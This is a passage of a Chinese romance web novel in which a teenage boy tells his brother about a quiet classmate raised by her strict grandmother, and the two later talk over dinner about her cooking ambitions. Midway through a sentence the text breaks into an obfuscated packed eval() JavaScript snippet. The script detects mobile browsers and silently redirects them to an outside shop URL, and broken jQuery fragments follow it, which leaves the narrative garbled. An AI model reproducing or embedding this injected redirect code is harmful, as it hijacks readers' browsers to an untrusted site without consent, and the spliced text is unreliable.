宁青嵘第一次了解余知微的故事,是在汤包店事件之后。
-
16岁的秋天。
“哥,我回来了!”宁青嵘的嗓门很大,隔着老远就能听到他的呼喊。
他把书包往椅子上一甩,然后就跑上楼,又后退几步解释道:“我作业写完了!”
“回来。”宁远铮抬起头,“上哪儿吃饭去了?”
“朋友家。”
“哪个朋友?”
宁青嵘本来赶着去玩游戏,但看见宁远铮今天一副非要跟他谈话的样子,只得老老实实地又下了楼。
“我听你们老师说,你想去学艺术,走艺考的路子?”
“昂。”宁青嵘站着跟宁远铮说话,漫不经心敷衍着。
“我本来不太赞成。但你们老师劝我……”宁远铮停顿了片刻,“说你性格活泼外向,不怯场,适合站台上,不如给你找个喜欢的东西学一学……这周末我给你约了不同老师,你各种项目都试一下,挑几个喜欢的。”
宁远铮见他懒散往那儿一靠,并不怎么留心自己在说什么的模样,伸手拍了拍身旁的座椅,喊宁青嵘坐了过来。
宁青嵘就往那座椅扶手上一靠,看他要干啥。
这下,宁远铮有点为青春期的弟弟感到头疼了,耐着性子跟他谈心:“今天去哪个同学家玩了?”
宁青嵘大大咧咧说道:“余知微。”
“女生?”
“对啊——”
宁青嵘以前也有女生朋友,但从来没听说他去人女生家里玩儿,也没领女生回来,这下宁远铮是真的来兴趣了:“就你一人?”
“昂——”宁青嵘这才后知后觉地发现,自己这种行为会引起别人的误会,补充道,“就……好朋友……嗯……有人把她气跑了,我去安慰她的,结果她奶奶就留我下来吃饭了。”
他是个傻子。
直到余知微背着书包跑走一大段距离,他才明白,那些人喊她“小哑巴”是在给余知微难堪,而他却呆愣愣地还要问她是什么意思,他真是个傻子!
宁青嵘拎起书包和打包盒就往前追,终于在小区楼下追上了余知微。他喊她,她不回头,他就抱住余知微的书包往后拽:“喂,你怎么了?”
余知微本是想逃离,但被书包带子勒住了肩膀,不得脱身,说道:“放、你放开……”
“我不!”宁青嵘气势汹汹,“我还没给你道歉呢!”
他的样子真不像是来道歉的,反倒像是要债的,余知微停止了挣扎,眼圈红着回了头。
宁青嵘一下就噤声了,手足无措。
“对、对不起……”
“我没怪你。”余知微抹去眼角的泪珠。
“真的?”宁青嵘的眼睛亮了,凑上前去食指抹去余知微的泪珠,“我还以为你烦我了,要不理我了。”
冰凉的指尖抚过脸颊,一种暖意浮上余知微的心头。
宁青嵘算是抽条比较晚的男生,这会儿还有有些小小的婴儿肥,身高也没比余知微高多少,但那时的余知微莫名地就感觉他很高大成熟。
“我要是让你生气了烦了,你就告诉我。”宁青嵘认真说。
余知微又一次摇头。
宁青嵘这才放下心来,把打包了的汤包递给余知微:“放心,你对我这么好,以后就是我朋友了,我不让他们欺负你。”
余知微吸了吸鼻子,接过汤包。
楼上的窗口里,满头银丝的奶奶呼喊着她:“小微,是有同学来家里玩吗……一起留下吃个饭……”
高中的男生女生正是长身体的时候,饭量都很大,汤包只能算是个下午茶,宁青嵘更是像饿死鬼投胎,一听到吃饭就两眼放光。
“就这样。”宁青嵘解释了一下前因后果,略去了自己每天中午蹭人家带的饭的事情,“她奶奶是个大厨,做饭可好吃了,做了虾仁炒饭,糖醋鱼……”
眼见宁青嵘就要开始报菜名,宁远铮把话题又拉了回来:“哦……你这么关心她?”
宁青嵘脸莫名有点红了:“我就是……关心同学。”
看他这样子,宁远铮还有什么不明白的:“一点儿不喜欢?”
宁青嵘闭了嘴。
“这姑娘叫余知微是吧……什么样的人?”
宁青嵘就简单介绍了下余知微——一个文静可爱的姑娘,和奶奶一起生活……讲到这里时,他又多说了几句。
他今天到了余知微家里才知道,原来她的爸爸早亡,妈妈在她小学的时候就远走他乡,杳无音信,所以她一直是由奶奶抚养长大。
“我们家小微从小就不爱说话,也没什么朋友,这还是她第一次带朋友回家里来。”奶奶笑意盈盈的,似乎心情很好。
饭桌上,宁青嵘就是老人家最爱的那种小孩儿,他嘴里塞满了饭,点头保证:“奶奶你放心,余知微是个乖孩子,我们同学们都喜欢她,只是以前跟她不怎么熟,以后我的朋友就是她的朋友!不会有人欺负她的。”
这一段话又是哄得奶奶心花怒放,往宁青嵘碗里继续夹菜。余知微就在一旁扒拉碗里的吃的,也不出声。
奶奶叹了口气:“也怪我,从小就对她要求严格了些,把她培养成了这样内向的性格,因为我怕啊……”
“没有,不是奶奶的错。”余知微低着头,但出声打断了她。
余知微的爷爷奶奶没有什么亲戚,至于孩子……更是只有余爸一个儿子。自从爷爷去世后,奶奶对余知微的要求就格外严格。
奶奶这辈子唯一赚钱的本事就是做饭,她用一种近乎苛刻的方式将这门技能传给余知微——刀工不够细致要挨打,火候过了要挨打,调味错了也要挨打。
余知微这一身厨艺,完全是在这种严酷的训练下形成的。
宁青嵘安静地听着,只是默默地看着余知微又有些泛红的眼眶。他想,如果奶奶也不在了,她就是个孤儿了。
思绪从下午的回忆中拉回,宁青嵘只是介绍了余知微的家庭成员,没有详细去说,大哥也只是叮嘱了他几句有的没的。
“喜欢人家姑娘就对人好点,但是……”他话锋一转,“追求女孩子呢,要是人觉得烦了,就别骚扰了人家了,你要有风度,不能死缠烂打。”
宁青嵘无语:“我会死缠烂打吗?”
宁远铮反问:“是谁拿不到想要的东西的时候,就要用净手段耍赖?”
“那都是多远之前的事情了!”宁青嵘抗议,小时候那点破事儿天天拿出来提。
“我就是提醒你,要让自己变得优秀,吸引别人,别一天到晚缠着人女孩。”宁远铮循循善诱,睨了他一眼,“我还不了解你?”
他这个弟弟活泼开朗,就是个热情大金毛,从小心思单纯,喜欢就接近,讨厌就远离;好处是的确讨人喜欢,但坏处……也显而易见,以为别人都喜欢自己。
宁青嵘又敷衍了他几句,又要上楼,可是没走几步又回来了,一副鬼鬼祟祟的模样:“哥,咱家没什么……不能有嫌贫爱富的毛病吧?爸妈我倒不担心,你不会是这么古板的人吧,指望着我这么个帅哥给你商业联姻?”
……
还说跟人只是朋友,已经想到谈恋爱家里人能不能接受了。
宁远铮哭笑不得一摆手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721616|208687||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“滚蛋,商业联姻这事儿还轮不上你。”
“就算你不同意也没用。”宁青嵘做了个鬼脸,一溜烟地跑了。
-
“下次我和你一起去看看奶奶。”
“好。”
他们当初形影不离,如今相隔了数年的光阴,中间发生了太多不为人知的事情。
宁青嵘对这些事情很感兴趣,一直让余知微多说一点。余知微从F国的风土人情,讲到她和乔夏天漂泊在外时遇上的朋友,还有她上过的各种有趣课程,过去的一幕幕在眼前重演,宁青嵘仿佛在看电影播放。
余知微说的时候虽然略打磕绊,但她全神贯注投入其中,表情丰富,宁青嵘就则是静静看着,不时提出一些问题,让余知微继续说下去。
过去的场景似乎调转过来,倾听的“小哑巴”变成了演讲者,当初话唠的少年以欣赏的目光安静看着她,仿佛在看一朵逐渐盛开的花。
对余知微来说,这真是种奇妙的感觉。
“所以你现在回来,打算继续做自媒体?”宁青嵘说,“还是像其他毕业生一样,找个西餐厅慢慢工作。”
吃过几巡,餐桌上的美味都被消灭得七七八八,二人品着热茶,准备着最后的收尾。
服务员也顺势送上了甜品:“这是我们新研制的炸春卷冰淇淋,赠送给两位,请慢用。”
服务员缓缓离去,余知微手上握着甜品叉,回道:“这就是我现在的问题,不知道该怎么办,所以来参加综艺换份心情。”
宁青嵘咬了一口炸春卷,确实酥脆:“有想要自己开店吗?”
余知微舀了一勺冰淇淋,却在抿了一口后就放下了:“开店……那还早着,我还不行。”
“余知微什么时候认为自己不行了。”
“我什么时候认为自己厉害……”
“一直。”宁青嵘也放下叉子,淡定地喝了口热茶。
余知微:“乔夏天一直夸我厉害,可我从不……”
“余知微只是表面上这么说,心里却有主意,而且不肯认输。”宁青嵘的指腹在杯壁摩挲,“如果不是想开店,你没必要拿F国的本科学历,学习经营管理类科目,毕业后去那种网红餐厅学习,也不会把重心放在各种创新菜式上。”
“可我……”
“你习惯了说自己不行,可真的认为自己不行的人,不会想要行动,改变,进步。”宁青嵘伸出指尖,点了下余知微的额头,“不会偷偷在卫生间练习要说的话。”
余知微的手指有些颤抖。
“不,我不行,我怕失败。”她的声音也在颤。
“怕失败的人不会告诉别人自己怕失败。”宁青嵘笑了,“余知微是个不怕失败的野心家。”
余知微想,这感觉真是太奇妙了,莫名的情绪涌上心头、喉头和眼眶,她想哭,但嘴角又忍不住往上翘。好像从小到大,从没有人能穿透她不善言辞的外壳,如此认真地关注、理解她。
更重要的是,她真的被鼓励到了。
他是怎么能说出这些话的,没有人会不喜欢宁青嵘吧。
“所以呢,野心家想好了吗?你的新菜式?今天的晚餐有给你灵感吗?”
“有。”余知微吸了吸鼻子,“我的新菜式主题要鲜明,味型还是要以突出食材本身为主。每一道菜都要毫无疑问,特别是前菜和甜品,要简单清晰,不会让人困惑。”
“就像这个炸春卷冰淇淋,冷热中和后既没有春卷的香,也没有冰淇淋的凉爽,反倒奇怪。”宁青嵘点头。
“主菜却要像要像蒸黄鱼和清酒鲍鱼,清爽鲜美,留有余韵。”